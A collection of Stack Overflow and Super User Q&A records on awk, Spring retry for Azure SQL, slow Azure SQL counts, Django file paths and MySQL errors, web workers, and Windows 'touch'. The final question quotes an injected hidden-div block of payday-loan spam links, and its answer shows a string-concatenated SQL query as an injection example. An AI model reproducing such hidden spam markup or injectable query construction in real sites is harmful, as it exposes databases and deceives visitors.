Firstly I would like to say that I am aware of the many questions here on StackOverflow regarding AWK and regular expressions. I already tried searching different questions and answer, tested multiple answers and none worked. I have a list that is generated by the command: ``` iostat -dx | awk ' { print $1 }' ``` It outputs the following: ``` extended device ada0 ada1 ada2 pass0 pass1 pass2 ``` I want to output only the lines starting with ada... ada0, ada1, ada2. Here are some commands I tried, and they all output nothing: ``` iostat -dx | awk '($1 == "^ada") { print $1 }' iostat -dx | awk '($1 == "/^ada.*$/") { print $1 }' ``` This one outputs `device` (??): ``` iostat -dx | awk '($1 ~ /^d[ada]*/ ) { print $1 }' ``` **Important:** I can not use grep for this, since this is being runned on a Docker Image that DOES NOT have GREP, only AWK. I am very much aware of the command "iostat -x | grep "ada" | awk '{print $1}'", but unfortunatelly I can not use that.
2022/04/06
[ "https://Stackoverflow.com/questions/71772995", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8297745/" ]
The regular expression should just be `^ada`, as in your first attempt. But the regexp should be inside `//`, not quotes, and you have to use `~` to compare it. ``` iostat -dx | awk '$1 ~ /^ada/ { print $1 }' ```
> > I am very much aware of the command "iostat -x | grep "ada" | awk > '{print $1}'", but unfortunatelly I can not use that. > > > Just replacing `grep "ada"` using `awk` in above gives ``` iostat -x | awk '/ada/' | awk '{print $1}' ``` which might be written more concisely as ``` iostat -x | awk '/ada/{print $1}' ``` Note that this will print all lines containing `ada` anywhere, like that with grep you have shown. As side note if `grep` is prohibited you might replace simple `grep` commands using `awk` as shown above or using `sed` as follows ``` iostat -x | sed -n '/ada/p' | awk '{print $1}' ``` `-n` does turn off default printing, `/ada/p` means if line contains `ada` do print it
71,772,995
Firstly I would like to say that I am aware of the many questions here on StackOverflow regarding AWK and regular expressions. I already tried searching different questions and answer, tested multiple answers and none worked. I have a list that is generated by the command: ``` iostat -dx | awk ' { print $1 }' ``` It outputs the following: ``` extended device ada0 ada1 ada2 pass0 pass1 pass2 ``` I want to output only the lines starting with ada... ada0, ada1, ada2. Here are some commands I tried, and they all output nothing: ``` iostat -dx | awk '($1 == "^ada") { print $1 }' iostat -dx | awk '($1 == "/^ada.*$/") { print $1 }' ``` This one outputs `device` (??): ``` iostat -dx | awk '($1 ~ /^d[ada]*/ ) { print $1 }' ``` **Important:** I can not use grep for this, since this is being runned on a Docker Image that DOES NOT have GREP, only AWK. I am very much aware of the command "iostat -x | grep "ada" | awk '{print $1}'", but unfortunatelly I can not use that.
2022/04/06
[ "https://Stackoverflow.com/questions/71772995", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8297745/" ]
The regular expression should just be `^ada`, as in your first attempt. But the regexp should be inside `//`, not quotes, and you have to use `~` to compare it. ``` iostat -dx | awk '$1 ~ /^ada/ { print $1 }' ```
UPDATE 2 : testing through all awk variants I have to illustrate portability of solution : ``` % cat iostat.txt | gawk -te 'NF=/^ada/' ada0 ada1 ada2 % cat iostat.txt | gawk -ce 'NF=/^ada/' ada0 ada1 ada2 % cat iostat.txt | gawk -Sbe 'NF=/^ada/' ada0 ada1 ada2 % cat iostat.txt | gawk -ne 'NF=/^ada/' ada0 ada1 ada2 ada2 % cat iostat.txt | gawk -Pe 'NF=/^ada/' ada0 ada1 ada2 % cat iostat.txt | gawk -e 'NF=/^ada/' ada0 ada1 ada2 % cat iostat.txt | mawk 'NF=/^ada/' ada0 ada1 ada2 % cat iostat.txt | mawk2 'NF=/^ada/' ada0 ada1 ada2 % cat iostat.txt | nawk 'NF=/^ada/' ada0 ada1 ada2 ``` UPDATE : just realized one could make it **extremely** succinct : ``` iostat -x | mawk 'NF=/^ada/' ada0 ada1 ada2 ``` or make it even simpler : ``` iostat -x \ \ | mawk '!_<NF' FS='^ada' ada0 ada1 ada2 ``` And if you wanna even skip the shell quoting part : ``` mawk2 -F^ada NF==2 mawk2 NF==2 FS=^ada ``` And even more exotic approaches : ``` mawk '$_!=$NF' FS='^ada[0-9]+' ada0 ada1 ada2 mawk '_~$NF' FS='^ada[0-9]+' ada0 ada1 ada2 ``` And if you prefer gnu-gawk instead, then this is an excellent example of why RT exists : ``` gawk -e '$_=RT' RS='ada[0-9]+' ada0 ada1 ada2 ``` And if you REALLY like to use unconventional approaches that borderlines on being counter-intuitive and illogical : ``` mawk '$NF<"<"' FS='^ada[0-9]+' mawk '$NF<=">"' FS='^ada[0-9]+' mawk '!_!~NF' FS='^ada[0-9]+' mawk '_~_!~NF' FS='^ada[0-9]+' ada0 ada1 ada2 ```
53,948,890
I'm connecting to an Azure SQL database and my next task is to create custom retry logic when a connection has failed. I would like the retry logic to run both on startup (if needed) as well as any time there's a connection failure while the app is running. I did a test where I removed the IP restrictions from my app and that then caused an exception in my application (as excepted). I'd like to handle when that exception is thrown so that I can trigger a job that verifies both the app and the server are configured correctly. I'm looking for a solution where I can handle these exceptions and retry the DB transaction? **DataSource Config** ``` @Bean @Primary public DataSource dataSource() { return DataSourceBuilder .create() .username("username") .password("password") .url("jdbc:sqlserver://contoso.database.windows.net:1433;database=*********;user=******@*******;password=*****;encrypt=true;trustServerCertificate=false;hostNameInCertificate=*.database.windows.net;loginTimeout=30;") .driverClassName("com.microsoft.sqlserver.jdbc.SQLServerDriver") .build(); } ``` **application.properties** ``` spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.SQLServerDialect spring.jpa.show-sql=true logging.level.org.springframework.web: ERROR logging.level.org.hibernate: ERROR spring.datasource.tomcat.max-wait=10000 spring.datasource.tomcat.max-active=1 spring.datasource.tomcat.test-on-borrow=true spring.jpa.hibernate.ddl-auto=update ```
2018/12/27
[ "https://Stackoverflow.com/questions/53948890", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8112008/" ]
The following code may help you create your retry logic for a data source on Spring Boot: ``` package com.example.demo; import java.sql.Connection; import java.sql.SQLException; import javax.sql.DataSource; import org.springframework.beans.BeansException; import org.springframework.beans.factory.config.BeanPostProcessor; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.jdbc.datasource.AbstractDataSource; import org.springframework.retry.annotation.Backoff; import org.springframework.retry.annotation.EnableRetry; import org.springframework.retry.annotation.Retryable; @SpringBootApplication @EnableRetry public class DemoApplication { @Order(Ordered.HIGHEST_PRECEDENCE) private class RetryableDataSourceBeanPostProcessor implements BeanPostProcessor { @Override public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException { if (bean instanceof DataSource) { bean = new RetryableDataSource((DataSource)bean); } return bean; } @Override public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException { return bean; } } public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @Bean public BeanPostProcessor dataSouceWrapper() { return new RetryableDataSourceBeanPostProcessor(); } } class RetryableDataSource extends AbstractDataSource { private DataSource delegate; public RetryableDataSource(DataSource delegate) { this.delegate = delegate; } @Override @Retryable(maxAttempts=10, backoff=@Backoff(multiplier=2.3, maxDelay=30000)) public Connection getConnection() throws SQLException { return delegate.getConnection(); } @Override @Retryable(maxAttempts=10, backoff=@Backoff(multiplier=2.3, maxDelay=30000)) public Connection getConnection(String username, String password) throws SQLException { return delegate.getConnection(username, password); } } ```
Not sure what you deem custom but, there is an out-of-the-box option with Spring boot and Aspectj by leveraging the pom.xml in the mavern project, as spring-retry depends on Aspectj: Add the following dependencies in your project pom.xml: ```html <dependency> <groupId>org.springframework.retry</groupId> <artifactId>spring-retry</artifactId> <version>${version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aspects</artifactId> <version>${version}</version> </dependency> ``` And then add the @EnableRetry annotation to your code: ```html package com.example.springretry; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.retry.annotation.EnableRetry; @EnableRetry @SpringBootApplication public class SpringRetryApplication { public static void main(String[] args) { SpringApplication.run(SpringRetryApplication.class, args); } } ``` The Spring retry module example can be found here: <https://howtodoinjava.com/spring-boot2/spring-retry-module/>
25,831,159
I have a database in SQL Azure which is not taking between 15 and 30 minutes to do a simple: ``` select count(id) from mytable ``` The database is about 3.3GB and the count is returning approx 2,000,000 but I have tried it locally and it takes less than 5 seconds! I have also run a: ``` ALTER INDEX ALL ON mytable REBUILD ``` On all the tables in the database. Would appreciate if anybody could point me to some things to try to diagnose/fix this. **(Please skip to UPDATE 3 below as I now think this is the issue but I still do not understand it).** UPDATE 1: It appears to take 99% of the time in a clustered index scan as image below shows. I have ![enter image description here](https://i.stack.imgur.com/PKr4s.png) UPDATE 2: And this is what the statistics messages come back as when I do: ``` SET STATISTICS IO ON SET STATISTICS TIME ON select count(id) from TABLE ``` Statistics: ``` SQL Server parse and compile time: CPU time = 0 ms, elapsed time = 0 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. SQL Server parse and compile time: CPU time = 0 ms, elapsed time = 317037 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. (1 row(s) affected) Table 'TABLE'. Scan count 1, logical reads 279492, physical reads 8220, read-ahead reads 256018, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0. (1 row(s) affected) SQL Server Execution Times: CPU time = 297 ms, elapsed time = 438004 ms. SQL Server parse and compile time: CPU time = 0 ms, elapsed time = 0 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. ``` UPDATE 3: OK - I have another theory now. The Azure portal is suggesting each time I do test this simply select query it is maxing out my DTU percentage to nearly 100%. I am using a Standard Azure SQL instance with performance level S1 (20 DTUs). Is it possible that this simple query is being slowed down by my DTU limit?
2014/09/14
[ "https://Stackoverflow.com/questions/25831159", "https://Stackoverflow.com", "https://Stackoverflow.com/users/739409/" ]
I realize this is old, but I had the same issue. I had a table with **2.5 million rows** that I imported from an on-prem database into Azure SQL and ran at S3 level. `Select Count(0) from Table` resulted in a 5-7 minute execution time vs milliseconds on-premise. In Azure, index and table scans seem to be penalized tremendously in performance, so adding a 'useless' `WHERE` to the query that forces it to perform an index seek on the clustered index helped. In my case, this performed almost identical `Select count(0) from Table where id > 0` resulted in performance matching the on premise query.
Suggestion: try `select count(*)` instead: it might actually improve the response time: * <http://www.sqlskills.com/blogs/paul/which-index-will-sql-server-use-to-count-all-rows/> Also, have you done an "explain plan"? * <http://azure.microsoft.com/blog/2011/12/15/sql-azure-management-portal-tips-and-tricks-part-ii/> * <http://social.technet.microsoft.com/wiki/contents/articles/1657.gaining-performance-insight-into-windows-azure-sql-database.aspx> ============ UPDATE ============ Thank you for getting the statistics. You're doing a full table scan of 2M rows - not good :( POSSIBLE WORKAROUND: query system table `row_count` instead: <http://blogs.msdn.com/b/arunrakwal/archive/2012/04/09/sql-azure-list-of-tables-with-record-count.aspx> ``` select t.name ,s.row_count from sys.tables t join sys.dm_db_partition_stats s ON t.object_id = s.object_id and t.type_desc = 'USER_TABLE' and t.name not like '%dss%' and s.index_id = 1 ```
25,831,159
I have a database in SQL Azure which is not taking between 15 and 30 minutes to do a simple: ``` select count(id) from mytable ``` The database is about 3.3GB and the count is returning approx 2,000,000 but I have tried it locally and it takes less than 5 seconds! I have also run a: ``` ALTER INDEX ALL ON mytable REBUILD ``` On all the tables in the database. Would appreciate if anybody could point me to some things to try to diagnose/fix this. **(Please skip to UPDATE 3 below as I now think this is the issue but I still do not understand it).** UPDATE 1: It appears to take 99% of the time in a clustered index scan as image below shows. I have ![enter image description here](https://i.stack.imgur.com/PKr4s.png) UPDATE 2: And this is what the statistics messages come back as when I do: ``` SET STATISTICS IO ON SET STATISTICS TIME ON select count(id) from TABLE ``` Statistics: ``` SQL Server parse and compile time: CPU time = 0 ms, elapsed time = 0 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. SQL Server parse and compile time: CPU time = 0 ms, elapsed time = 317037 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. (1 row(s) affected) Table 'TABLE'. Scan count 1, logical reads 279492, physical reads 8220, read-ahead reads 256018, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0. (1 row(s) affected) SQL Server Execution Times: CPU time = 297 ms, elapsed time = 438004 ms. SQL Server parse and compile time: CPU time = 0 ms, elapsed time = 0 ms. SQL Server Execution Times: CPU time = 0 ms, elapsed time = 0 ms. ``` UPDATE 3: OK - I have another theory now. The Azure portal is suggesting each time I do test this simply select query it is maxing out my DTU percentage to nearly 100%. I am using a Standard Azure SQL instance with performance level S1 (20 DTUs). Is it possible that this simple query is being slowed down by my DTU limit?
2014/09/14
[ "https://Stackoverflow.com/questions/25831159", "https://Stackoverflow.com", "https://Stackoverflow.com/users/739409/" ]
I realize this is old, but I had the same issue. I had a table with **2.5 million rows** that I imported from an on-prem database into Azure SQL and ran at S3 level. `Select Count(0) from Table` resulted in a 5-7 minute execution time vs milliseconds on-premise. In Azure, index and table scans seem to be penalized tremendously in performance, so adding a 'useless' `WHERE` to the query that forces it to perform an index seek on the clustered index helped. In my case, this performed almost identical `Select count(0) from Table where id > 0` resulted in performance matching the on premise query.
Quick refinement of @FoggyDay post. If your tables are partitioned, you'll want to sum the rowcount. ``` SELECT t.name, SUM(s.row_count) row_count FROM sys.tables t JOIN sys.dm_db_partition_stats s ON t.object_id = s.object_id AND t.type_desc = 'USER_TABLE' AND t.name not like '%dss%' AND s.index_id = 1 GROUP BY t.name ```
13,067,107
I'm quite stuck on this one! I am writing a Django view that reads data from an external database. To do this, I am using the standard MySQLdb library. Now, to load the data, I must do a very long and complex query. I can hard code that query in my view and that works just fine. But I think that is not practical; I want to be able to change the query in the future, so I try to load the statement from a text file. My problem is that I don't know where to store and how to open that file. Wherever I do, I get a "No such file or directory" error. Even saving it in the same directory than the code of the view fails. Note that this is not an uploaded file; it's just an external file that completes my code. Any ideas? Thanks in advance!
2012/10/25
[ "https://Stackoverflow.com/questions/13067107", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1692662/" ]
Keep the file in django project root and add the following in the settings.py file. ``` PROJECT_ROOT = os.path.abspath(os.path.dirname(__file__)) ``` Then in the view do this. ``` import os from django.conf.settings import PROJECT_ROOT file_ = open(os.path.join(PROJECT_ROOT, 'filename')) ``` Update: In newer Django versions `BASE_DIR` is already defined in the settings.py file. So you can do the following. ``` import os from django.conf import settings file_ = open(os.path.join(settings.BASE_DIR, 'filename')) ```
For this use, I'd put it in the settings module. In `settings.py`, add e.g. `MY_LONG_QUERY = 'from FOO select BAR...'`. Then, in your view just load it from the settings like so: ``` from django.conf import settings settings.MY_LONG_QUERY ``` But, this doesn't really answer your question. Assuming permissions and all are correct, keep a reference to your project root in your settings like this: ``` ROOT_PATH = os.path.split(os.path.abspath(__file__))[0] ``` And then again in your view, open your file like so: ``` from django.conf import settings def read_from_database(request): f = open(os.path.join(settings.ROOT_PATH, 'myfile.db')) # Do something with f ```
4,907,593
I'm new to JavaScript so forgive me for being a n00b. When there's intensive calculation required, it more than likely involves loops that are recursive or otherwise. Sometimes this may mean having am recursive loop that runs four functions and maybe each of those functions walks the entire DOM tree, read positions and do some math for collision detection or whatever. While the first function is walking the DOM tree, the next one will have to wait its for the first one to finish, and so forth. Instead of doing this, why not launch those loops-within-loops separately, outside the programs, and act on their calculations in another loop that runs slower because it isn't doing those calculations itself? Retarded or clever? Thanks in advance!
2011/02/05
[ "https://Stackoverflow.com/questions/4907593", "https://Stackoverflow.com", "https://Stackoverflow.com/users/604468/" ]
Long-term computations are exactly what [Web Workers](http://www.w3.org/TR/workers/) are for. What you describe is the common pattern of producer and/or consumer threads. While you could do this using Web Workers, the synchronization overhead would likely trump any gains even on highly parallel systems. JavaScript is not the ideal language for computationally demanding applications. Also, processing power of web browser machines can vary wildly (think a low-end smartphone vs. a 16core workstation). Therefore, consider calculating complex stuff on the server and sending the result to the client to display. For your everyday web application, you should take a single-threaded approach and analyze performance once it becomes a problem. Heck, why not ask for help about your performance problem here?
JavaScript was never meant to do perform such computationally intensive tasks, and even though this is changing, the fact remains that JavaScript is inherently single-threaded. The recent [web workers](https://developer.mozilla.org/En/Using_web_workers) technology provides a limited form of multi-threading but these worker threads can't access the DOM directly; they can only send/receive messages to the main thread which can then access it on their behalf.
4,907,593
I'm new to JavaScript so forgive me for being a n00b. When there's intensive calculation required, it more than likely involves loops that are recursive or otherwise. Sometimes this may mean having am recursive loop that runs four functions and maybe each of those functions walks the entire DOM tree, read positions and do some math for collision detection or whatever. While the first function is walking the DOM tree, the next one will have to wait its for the first one to finish, and so forth. Instead of doing this, why not launch those loops-within-loops separately, outside the programs, and act on their calculations in another loop that runs slower because it isn't doing those calculations itself? Retarded or clever? Thanks in advance!
2011/02/05
[ "https://Stackoverflow.com/questions/4907593", "https://Stackoverflow.com", "https://Stackoverflow.com/users/604468/" ]
Long-term computations are exactly what [Web Workers](http://www.w3.org/TR/workers/) are for. What you describe is the common pattern of producer and/or consumer threads. While you could do this using Web Workers, the synchronization overhead would likely trump any gains even on highly parallel systems. JavaScript is not the ideal language for computationally demanding applications. Also, processing power of web browser machines can vary wildly (think a low-end smartphone vs. a 16core workstation). Therefore, consider calculating complex stuff on the server and sending the result to the client to display. For your everyday web application, you should take a single-threaded approach and analyze performance once it becomes a problem. Heck, why not ask for help about your performance problem here?
Currently, the only way to have real parallel processing in JS is to use [Web Workers](http://www.whatwg.org/specs/web-workers/current-work/), but it is only supported by very recent browsers. And if your program requires such a thing, it could mean that you are not using the right tools (for example, walking the DOM tree is generally done by using DOM selectors like querySelectorAll).
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
You can use the following command: ``` echo> index.js ```
`touch` is generally present on \*nix platforms but not Windows. You will be able to follow the tutorial without it. The tutorial author is using it to create empty files. You could achieve the same by simply saving files with the same names using an editor. Alternatively, if you really want to use it in Windows, try [Cygwin](https://www.google.co.uk/webhp?sourceid=chrome-instant&ion=1&espv=2&es_th=1&ie=UTF-8#q=cygwin).
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
You can use the following command: ``` echo> index.js ```
I know this is an old post, but the question is still relevant and there is a way to integrate the touch command into Windows, using the [touch-for-windows npm package](https://www.npmjs.com/package/touch-for-windows). It can be installed globally via node/npm with `npm install -g touch-for-windows`. As someone who uses a pretty customized terminal across multiple machines, Cygwin didn't provide some of the other features I often use. The echo command (and accepted answer) provided by ltalhouarne works, but I felt was cumbersome to use. This npm package, though old, operates exactly in Windows as the touch command in \*nix.
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
`touch` is generally present on \*nix platforms but not Windows. You will be able to follow the tutorial without it. The tutorial author is using it to create empty files. You could achieve the same by simply saving files with the same names using an editor. Alternatively, if you really want to use it in Windows, try [Cygwin](https://www.google.co.uk/webhp?sourceid=chrome-instant&ion=1&espv=2&es_th=1&ie=UTF-8#q=cygwin).
cd > filename.txt works too... if u create txt files, then it will have the file path on them. Just remember to delete them.
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
That command is for a unix environment. You can use the following to create an empty file with similar functionalities that `touch` has in windows: `echo $null >> server.js` in the desired directory
You can use the following command: ``` echo> index.js ```
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
That command is for a unix environment. You can use the following to create an empty file with similar functionalities that `touch` has in windows: `echo $null >> server.js` in the desired directory
**If you use git**, there is already a bash installed inside c:\Program Files\Git\bin\bash.exe You can use it to work without installing cygwin. It contains the touch command.
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
You can use the following command: ``` echo> index.js ```
You can use : copy nul > Gulpfile.js
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
That command is for a unix environment. You can use the following to create an empty file with similar functionalities that `touch` has in windows: `echo $null >> server.js` in the desired directory
cd > filename.txt works too... if u create txt files, then it will have the file path on them. Just remember to delete them.
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
That command is for a unix environment. You can use the following to create an empty file with similar functionalities that `touch` has in windows: `echo $null >> server.js` in the desired directory
If you want a cross-platform solution in an environment where you have Node.js installed, you can as well run javascript code with `node`: ``` node -e "require('fs').writeFileSync('server.js', '')" node -e "require('fs').writeFileSync('client.js', '')" node -e "require('fs').writeFileSync('test.js', '')" ``` The commands above will create your 3 files with no content. You can also replace the `''` by any content you would like to have in the file. For more complex logics, you can move your code into a javascript file and execute it like: ``` node path/to/script.js ```
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
You can use : copy nul > Gulpfile.js
Use the below command example to create any file in cmd: ``` type NUL > index.js ``` (here index.js is the file I want to create)
26,343,974
So I'm attempting to do this [Node.js tutorial](http://learnjs.io/blog/2014/01/22/js-development-environment/), and it says to create three `.js` files from the command line. `touch server.js client.js test.js` Except I get the following error: > > 'touch' is not recognized as an internal or external command, operable > program or batch file. > > > Not sure what is wrong here. I've installed Node.js as well as npm and browserify. I've created the package.json file correctly. I suppose I could go into the project directory, right click and make a new file that way, but that defeats the purpose doesn't it? What is the actual command to create a new file in the command line? I'm using Windows 7.
2014/10/13
[ "https://Stackoverflow.com/questions/26343974", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1003940/" ]
You can use the following command: ``` echo> index.js ```
Follow the link For installation in Windows <https://www.npmjs.com/package/touch-for-windows> Installation In command prompt type: npm install -g touch-for-windows. Usage After installing, you can run this application via the command line, as shown below. C:\pythonapp>touch index.html Successfully created 'index.html' Worked for me
57,335,199
I am a newbie, just getting into Django, I want to implement django and mysql connections,and i built django1.11.17 and mysql8.0 in linux environment. When I type command ```py python3 manage.py makemigrations ``` Then give an error ```py MySQLdb._exceptions.OperationalError: (1045, "Access denied for user 'django1'@'localhost' (using password: NO)") ``` I read a lot of questions about this error on the forum, all said that it is an account and password problem, so,I created a database Firstproject, then created a new user Django1, granted all privileges on Firstproject.\* to django1@%, and flushed privileges. but after I set the account permissions, this problem still occurs. Setting.py about mysql configuration ```py DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME':'Firstproject', 'USER':'django1', 'PASSSWORD':'asdewq', 'HOST':'localhost', 'PORT':'3306' } } ``` More details about the error ``` Traceback (most recent call last): File "/home/ccheng/.local/lib/python3.6/site-packages/django/db/backends/base/base.py", line 213, in ensure_connection self.connect() File "/home/ccheng/.local/lib/python3.6/site-packages/django/db/backends/base/base.py", line 189, in connect self.connection = self.get_new_connection(conn_params) File "/home/ccheng/.local/lib/python3.6/site-packages/django/db/backends/mysql/base.py", line 274, in get_new_connection conn = Database.connect(**conn_params) File "/home/ccheng/.local/lib/python3.6/site-packages/MySQLdb/__init__.py", line 84, in Connect return Connection(*args, **kwargs) File "/home/ccheng/.local/lib/python3.6/site-packages/MySQLdb/connections.py", line 164, in __init__ super(Connection, self).__init__(*args, **kwargs2) MySQLdb._exceptions.OperationalError: (1045, "Access denied for user 'django1'@'localhost' (using password: NO)") ``` Can someone point me where I am wrong?
2019/08/03
[ "https://Stackoverflow.com/questions/57335199", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10738703/" ]
The word "PASSSWORD" is not spelled correctly.
Obviously,U need the correct username and password of mysql. Make sure U got the password and the mysql user U used has the access of network,which can be found in /etc/my.cnf. good luck ^\_^
483,159
I have a desktop based software that's built on top of SQL 2005. The SQL server is hosted inside my office, and there is 1 public facing website which displays some of the content from this database. **The problem i have** 1. The following HTML code has been injected into the description column for every single record in 1 of the tables for my database > > `<div style=position:absolute;top:-9999px;><a href=http://cashfastreiiu.com >cash fast</a><a href=http://guaranteedpaydayloansmsflg.com >guaranteed payday loans</a><a href=http://instantcashroacg.com >instant cash</a><a href=http://paydayloanstorezxucx.com >payday loan store</a><a href=http://paydaylendingvbmpz.com >payday lending</a></div>` > > > 2. I did a google search just for the cashfastreiiu.com link and it appears that several other sites have the same exact HTML string in their database that even shows up on their public website. **My Questions is** How could this have happened ? Only port 80 is exposed for the HTTP server (IIS 7.5) and that server connects to the database using it's internal IP only. The SQL server is not exposed to the public. The desktop client application is run on 8 employee computers and these people are using Windows 7 computers in lock down mode with zero admin rights. They can't install applications with admin approval. The public website is for viewing only, there is no method to update data from the public site.There is no way for anyone on the internet to update or enter data into the database. Where should i start looking for holes in my security ? Thanks
2012/10/03
[ "https://superuser.com/questions/483159", "https://superuser.com", "https://superuser.com/users/16417/" ]
It is, as your header suggests, very likely that this is caused by SQL injections (but without seeing more of your actual code for the website, it's really impossible to say...). To troubleshoot, you want to look at the code which serves data for your website. I assume you get some sort of input, a search string or something, from the user and then use that to choose what data to display - in that case, you should look at how those choices are made. Are you filtering with something like `sqlstring = "SELECT * FROM table WHERE somecolumn LIKE %'" + searchstr + "'"`? If so, you're open to SQL injections. It doesn't have to be this obvious either - there are many mistakes one can make that exposes the database... Regardless of how this happened in the first place, there is one simple and extremely forceful way to prevent it from ever happening again: make sure that the account the web site uses to get data only has read access to the database. If you need, create a new user in SQL Management Studio, give that user read-only privileges on the tables it needs (and no more!), and change the connection string in the website configuration to use the new account instead. That way, it doesn't matter how bad the rest of the code for the website is - users accessing your database from the web interface could *never* store anything in the database anyway.
